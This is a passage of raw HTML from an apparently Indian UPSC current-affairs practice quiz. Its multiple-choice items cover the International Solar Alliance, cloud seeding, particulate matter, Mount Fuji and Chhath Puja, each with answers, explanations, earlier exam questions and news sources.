Role:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-93\">\n<li>The <strong>8th Assembly of ISA (2025)<\/strong> was held in <strong>New Delhi<\/strong>, inaugurated by the <strong>President of India<\/strong>, under the theme <em>\u201cSolar Energy \u2013 Empowering Lives, Enabling Development.\u201d<\/em><\/li>\n\n\n\n<li>India serves as the <strong>host country<\/strong> and <strong>depository<\/strong> of the ISA Framework Agreement.<\/li>\n\n\n\n<li>The ISA promotes the <strong>\u201cOne Sun, One World, One Grid (OSOWOG)\u201d<\/strong> initiative, spearheaded by India, to create a <strong>global solar power grid<\/strong>. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>India\u2019s leadership in ISA demonstrates its commitment to <strong>climate diplomacy<\/strong> and <strong>South-South cooperation<\/strong>.<\/li>\n\n\n\n<li>ISA\u2019s initiatives are part of India\u2019s broader efforts to become a <strong>renewable energy hub<\/strong> and achieve <strong>net-zero emissions by 2070<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following statements about PM Surya Ghar Muft Bijli Yojana:<\/strong> <br><br>I. It targets installation of one crore solar rooftop panels in the residential sector.\u00a0\u00a0 <br>II. The Ministry of New and Renewable Energy aims to impart training on installation, operation, maintenance and repairs of solar rooftop systems at grassroot levels.\u00a0<br>III. It aims to create more than three lakhs skilled manpower through fresh skilling, and upskilling, under scheme component of capacity building.\u00a0\u00a0\u00a0 <br><br><strong>Which of the statements given above are correct?\u00a0\u00a0\u00a0<\/strong> <br><br>(a) I and II only\u00a0\u00a0\u00a0 <br>(b) I and III only\u00a0\u00a0\u00a0 <br>(c) II and III only\u00a0\u00a0\u00a0 <br><strong>(d) I, II and III<\/strong>\u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2183262\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2183262<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>6. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">1. Cloud seeding is a type of weather modification that aims to change the amount or type of precipitation, mitigate hail, or disperse fog.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">2. Silver iodide and potassium iodide are the most commonly used agents to promote nucleation and precipitation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">3. Cloud seeding is relatively inexpensive Compared to other water augmentation strategies<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>Answer: (c) All three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>In NEWS: <\/strong>Cloud-seeding trials done in Delhi to combat air pollution<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Cloud seeding:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li>Cloud seeding is the process of adding special substances like silver iodide and dry ice to clouds to make it rain or snow in areas experiencing water scarcity, less snowfall, or to reduce hail and clear fog. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>It can be done using airplanes, rockets, or machines on the ground.<\/li>\n\n\n\n<li>Common agents including silver iodide, potassium iodide, dry ice, urea, and table salt, but pollen, bacteria (especially Pseudomonas), and dust also have surfaces that promote nucleation and precipitation. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>These materials encourage cloud droplets to form and fall as rain or snow.<\/li>\n\n\n\n<li>The process requires existing clouds and can increase rainfall by 5-15 per cent.<\/li>\n\n\n\n<li>It is used to address water scarcity, reduce hail, or clear fog.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"450\" height=\"236\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-4.gif\" alt=\"\" class=\"wp-image-2651\"\/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Pros<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li><strong>Enhances Rainfall or Snowfall:<\/strong> It potentially increases precipitation. This benefits agriculture and water reservoirs and might mitigate the impact of damaging weather.<\/li>\n\n\n\n<li><strong>Cost-effective: <\/strong>Compared to other water augmentation strategies, cloud seeding is relatively inexpensive. <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Cons<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-112\">\n<li><strong>Uncertain Outcomes:<\/strong> The effectiveness of cloud seeding is variable and dependent on atmospheric conditions.<\/li>\n\n\n\n<li><strong>Environmental Concerns:<\/strong> There are concerns about the potential toxicity of the chemicals. For example, excessive sodium degrades soil and affects plant growth, while silver is toxic to aquatic life.<\/li>\n\n\n\n<li><strong>Weather Interference:<\/strong> Manipulating weather patterns in one area inadvertently affects weather elsewhere.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Artificial way of causing rainfall to reduce air pollution makes use of<\/strong> <br><br><strong>(a) silver iodide and potassium iodide<\/strong> <br>(b) silver nitrate and potassium iodide <br>(c) silver iodide and potassium nitrate <br>(d) silver nitrate and potassium chloride<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/cities\/Delhi\/delhi-cloud-seeding-artificial-rain-updates-october-28-2025\/article70211599.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/cities\/Delhi\/delhi-cloud-seeding-artificial-rain-updates-october-28-2025\/article70211599.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>7. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Statement I<\/strong>: Exposure to fine particulate matter (PM\u2082.\u2085) is more harmful to human health than exposure to coarse particulate matter (PM\u2081\u2080).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>Statement II:<\/strong> PM\u2081\u2080 particles are can penetrate deep into the lungs and even enter the bloodstream.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>Statement III:<\/strong> PM\u2082.\u2085 particles, due to their smaller size, remain suspended longer and can travel long distances.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?&nbsp; <\/strong>&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(a) Both Statement II and Statement III are correct and both of them explain Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(b) Both Statement II and Statement III are correct but only one of them explains Statement I\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">(c) Only one of the Statements II and III is correct and that explains Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(d) Neither Statement II nor Statement III is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Answer: (c) Only one of the Statements II and III is correct and that explains Statement I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>In NEWS: <\/strong>PM 2.5 not only killed 1.7 million people in India during 2022, but also caused financial losses to the tune of 9.5% of country\u2019s GDP: Lancet<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Particulate Matter (PM):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>1. Particulate Matter (PM)<\/strong> refers to a <strong>mixture of solid particles and liquid droplets<\/strong> suspended in the air.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>2.<\/strong> PM includes <strong>dust, dirt, soot, smoke, and liquid droplets<\/strong>, originating from both <strong>natural<\/strong> and <strong>anthropogenic<\/strong> sources.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>3.<\/strong> PM is classified mainly into two categories based on size:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-130\">\n<li><strong>PM\u2081\u2080<\/strong> \u2013 particles with diameter <strong>\u226410 micrometres (\u00b5m)<\/strong>.<ul><li><strong>PM\u2082.\u2085<\/strong> \u2013 fine particles with diameter <strong>\u22642.5 micrometres (\u00b5m)<\/strong>.<\/li><\/ul><ul><li><strong>PM\u2082.\u2085 &#8211; <\/strong>Remains suspended longer; can travel long distances. <strong>Hence statement III is correct.<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>PM\u2081\u2080<\/strong> &#8211; Settles faster due to larger size<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>4.<\/strong> PM\u2082.\u2085 particles are <strong>more hazardous<\/strong> as they can <strong>penetrate deep into the lungs<\/strong> and even <strong>enter the bloodstream<\/strong>. <strong>Hence statement II is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>5<\/strong>. Major sources of PM include <strong>vehicular emissions<\/strong>, <strong>industrial activities<\/strong>, <strong>construction dust<\/strong>, <strong>biomass burning<\/strong>, <strong>thermal power plants<\/strong>, and <strong>crop residue burning<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>6. Secondary particulate matter<\/strong> forms in the atmosphere from <strong>chemical reactions<\/strong> involving gases such as <strong>SO\u2082, NOx, NH\u2083, and VOCs<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>7<\/strong>. PM pollution is a key component of <strong>urban smog<\/strong> and significantly reduces <strong>visibility and air quality<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>8. PM\u2082.\u2085<\/strong> is the <strong>most harmful air pollutant<\/strong> linked to <strong>respiratory diseases, cardiovascular problems, and premature deaths<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>9.<\/strong> According to the <strong>World Health Organization (WHO)<\/strong> 2021 Air Quality Guidelines:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-137\">\n<li>Annual mean limit for <strong>PM\u2082.\u2085<\/strong> is <strong>5 \u00b5g\/m\u00b3<\/strong>.<\/li>\n\n\n\n<li>Annual mean limit for <strong>PM\u2081\u2080<\/strong> is <strong>15 \u00b5g\/m\u00b3<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>10.<\/strong> As per India\u2019s <strong>National Ambient Air Quality Standards (NAAQS)<\/strong> (CPCB, 2009):<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-139\">\n<li><strong>PM\u2082.\u2085:<\/strong> 40 \u00b5g\/m\u00b3 (annual average)<\/li>\n\n\n\n<li><strong>PM\u2081\u2080:<\/strong> 60 \u00b5g\/m\u00b3 (annual average).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>11. Delhi, Kanpur, Lucknow, and Patna<\/strong> are among the cities with the <strong>highest PM\u2082.\u2085 concentrations<\/strong> in India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>12.<\/strong> PM is monitored under the <strong>National Air Quality Monitoring Programme (NAMP)<\/strong> and <strong>Continuous Ambient Air Quality Monitoring Stations (CAAQMS)<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>13.<\/strong> The <strong>Air Quality Index (AQI)<\/strong> in India measures air pollutants including <strong>PM\u2081\u2080 and PM\u2082.\u2085<\/strong>, along with <strong>NO\u2082, SO\u2082, CO, O\u2083, NH\u2083, and Pb<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>14.<\/strong> High PM concentration leads to <strong>acid rain, haze formation<\/strong>, and <strong>climate forcing<\/strong> due to absorption and scattering of sunlight.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>15.<\/strong> The <strong>National Clean Air Programme (NCAP)<\/strong> (launched in 2019) aims to <strong>reduce PM\u2082.\u2085 and PM\u2081\u2080 levels by 40% by 2026<\/strong> (from 2017 levels).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>16. Odd\u2013Even scheme<\/strong>, <strong>smog towers<\/strong>, and <strong>anti-smog guns<\/strong> are short-term interventions to control PM pollution in urban areas.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>17. Biofuel promotion, electric mobility, crop residue management<\/strong>, and <strong>clean cooking fuel<\/strong> (Ujjwala Yojana) help reduce PM emissions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>18.<\/strong> PM also contributes to <strong>black carbon<\/strong> formation, which accelerates <strong>glacial melting<\/strong> in the Himalayas.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>19. Vehicular emissions<\/strong>, especially from <strong>diesel engines<\/strong>, are a major source of <strong>PM\u2082.\u2085 and black carbon<\/strong> in Indian cities.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>20. Central Pollution Control Board (CPCB)<\/strong> and <strong>State Pollution Control Boards (SPCBs)<\/strong> regulate PM levels under the <strong>Air (Prevention and Control of Pollution) Act, 1981<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. In the context of WHO Air Quality Guidelines, consider the following statements:<\/strong> <br><br>1. The 24-hour mean of PM2.5 should not exceed 15 \u00b5g\/m\u00b3 and annual mean of PM2.5 should not exceed 5 \u00b5g\/m3. <br>2. In a year, the highest levels of ozone pollution occur during the periods of inclement weather. <br>3. PM10 can penetrate the lung barrier and enter the bloodstream. <br>4. Excessive ozone in the air can trigger asthma. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) 1, 3 and 4 <br><strong>(b) 1 and 4 only<\/strong> <br>(c) 2, 3 and 4 <br>(d) 1 and 2 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/health\/pm-25-not-only-killed-17-million-people-in-india-during-2022-but-also-caused-financial-losses-to-the-tune-of-95-of-countrys-gdp-lancet\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/health\/pm-25-not-only-killed-17-million-people-in-india-during-2022-but-also-caused-financial-losses-to-the-tune-of-95-of-countrys-gdp-lancet<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>8. Consider the following statements regarding Mount Fuji:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">1. It is a stratovolcano that lies at the junction of three tectonic plates, the Amurian Plate, Okhotsk Plate, and Philippine Sea Plate.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">2. It is a symbol of Japan and a UNESCO World Heritage Site (2013) under the category \u201cCultural Site.\u201d<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\">3. Mount Fuji is classified as an active volcano because of its frequent eruptions in the last decade.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>In NEWS: <\/strong>The peak of Japan\u2019s Mount Fuji was capped with snow for the first time this winter on October 23, reaching the milestone 21 days later than the average since records began in 1894, the country\u2019s meteorological agency said.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"461\" height=\"337\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-7.png\" alt=\"\" class=\"wp-image-2659\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-7.png 461w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-7-300x219.png 300w\" sizes=\"auto, (max-width: 461px) 100vw, 461px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"290\" height=\"218\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-30.jpg\" alt=\"\" class=\"wp-image-2654\"\/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>Mount Fuji:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-164\">\n<li><strong>Mount Fuji (Fujisan)<\/strong> is an <strong>active stratovolcano<\/strong> located on <strong>Honshu Island, Japan<\/strong>.<\/li>\n\n\n\n<li>It is situated about <strong>100 km southwest of Tokyo<\/strong> and is <strong>Japan\u2019s highest peak<\/strong> at <strong>3,776 metres (12,389 ft)<\/strong>.<\/li>\n\n\n\n<li>Mount Fuji lies at the junction of <strong>three tectonic plates<\/strong> \u2014 the <strong>Amurian Plate<\/strong>, <strong>Okhotsk Plate<\/strong>, and <strong>Philippine Sea Plate<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>It is classified as a <strong>composite volcano<\/strong>, formed by <strong>alternating layers of lava flows, volcanic ash, and rocks<\/strong>.<\/li>\n\n\n\n<li>The mountain has erupted several times; the <strong>last recorded eruption occurred in 1707 (H\u014dei Eruption)<\/strong> during the Edo period. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>The 1707 eruption deposited ash as far as <strong>Edo (modern-day Tokyo)<\/strong>.<\/li>\n\n\n\n<li>Mount Fuji is part of the <strong>Pacific Ring of Fire<\/strong>, a zone of frequent earthquakes and volcanic activity.<\/li>\n\n\n\n<li>It is a <strong>symbol of Japan<\/strong> and a <strong>UNESCO World Heritage Site (2013)<\/strong> under the category \u201c<strong>Cultural Site<\/strong>.\u201d <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The <strong>Fuji Five Lakes region<\/strong> lies around its northern base \u2014 <strong>Yamanaka, Kawaguchi, Saiko, Shoji, and Motosu.<\/strong><\/li>\n\n\n\n<li>Despite being <strong>dormant for centuries,<\/strong> Mount Fuji is still classified as an <strong>active volcano<\/strong> with potential for future eruptions.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. The Barren Island volcano is an active volcano located in the Indian territory. <br>2. Barren Island lies about 140 km east of Great Nicobar. <br>3. The last time the Barren Island volcano erupted was in 1991 and it has remained inactive since then. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 and 3 <br>(c) 3 only <br>(d) 1 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/economictimes.indiatimes.com\/nri\/visit\/japans-mount-fuji-sees-snow-for-first-time-this-winter-21-days-later-than-usual\/articleshow\/124759147.cms?from=mdr\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/economictimes.indiatimes.com\/nri\/visit\/japans-mount-fuji-sees-snow-for-first-time-this-winter-21-days-later-than-usual\/articleshow\/124759147.cms?from=mdr<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>9. With reference to the cultural history of India, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\">1. Chhath Puja is the only Hindu festival that worships both the rising and setting Sun, symbolising life balance and gratitude.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\">2. Chhath Puja was recently inscribed on the UNESCO List of Intangible Cultural Heritage of Humanity.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>Which of the following statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>In NEWS: <\/strong>Chhath Puja and politics: never the twain shall meet, say devotees<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>Chhath Puja:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-178\">\n<li>Chhath Puja is an ancient Vedic festival dedicated to <strong>Lord Surya (Sun God)<\/strong> and <strong>Chhathi Maiya<\/strong>, associated with the dawn goddess <strong>Usha<\/strong>.<\/li>\n\n\n\n<li>It is mainly celebrated in <strong>Bihar, Jharkhand, Eastern Uttar Pradesh, and Nepal\u2019s Terai region<\/strong>.<\/li>\n\n\n\n<li>The word <strong>\u2018Chhath\u2019<\/strong> means <strong>\u2018sixth\u2019<\/strong>, referring to the sixth day after <strong>Diwali<\/strong>, during <strong>Shukla Paksha of Kartika month (October\u2013November)<\/strong>.<\/li>\n\n\n\n<li>The festival spans <strong>four days<\/strong> \u2014<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>1. Nahay Khay<\/strong> \u2013 Holy bathing and preparing sattvic food.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\"><strong>2. Kharna<\/strong> \u2013 Day-long fasting, followed by offering kheer and fruits to the Moon.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\"><strong>3. Sandhya Arghya<\/strong> \u2013 Offering prayers to the <strong>setting Sun<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\"><strong>4. Usha Arghya<\/strong> \u2013 Offering prayers to the <strong>rising Sun<\/strong>.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-183\">\n<li>Devotees perform <strong>ritual fasting, standing in water<\/strong>, and offering <strong>arghya (water and fruits)<\/strong> to the Sun.<\/li>\n\n\n\n<li>It is the <strong>only Hindu festival<\/strong> that worships both the <strong>rising and setting Sun<\/strong>, symbolising <strong>life balance and gratitude<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The rituals emphasize <strong>purity, discipline, and environmental consciousness<\/strong> \u2014 using natural offerings and clean water bodies.<\/li>\n\n\n\n<li>Offerings include <strong>thekua, sugarcane, rice, coconuts, and fruits<\/strong>.<\/li>\n\n\n\n<li>The festival has <strong>references in the Rig Veda<\/strong> and is linked to <strong>Karna<\/strong>, the son of Surya, from the Mahabharata.<\/li>\n\n\n\n<li>Recognised as an important <strong>folk and environmental festival<\/strong>, promoting <strong>community harmony and ecological respect<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\"><strong>Note<\/strong>: <strong>Chhath Puja is <em>not yet inscribed<\/em><\/strong> on the <strong>UNESCO List of Intangible Cultural Heritage of Humanity<\/strong> (as of 2025). <strong>Hence statement 2 is incorrect.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Which one of the following was the latest inclusion in the Intangible Cultural Heritage List of UNESCO?<\/strong> <br><br>(a) Chhau dance <br>(b) Durga puja <br><strong>(c) Garba dance<\/strong> <br>(d) Kumbh mela<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/cities\/Delhi\/chhath-puja\/article70211168.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/cities\/Delhi\/chhath-puja\/article70211168.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>10. Consider the following pairs<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td>&nbsp;<\/td><td><strong>Wildlife<\/strong><\/td><td><strong>Naturally found 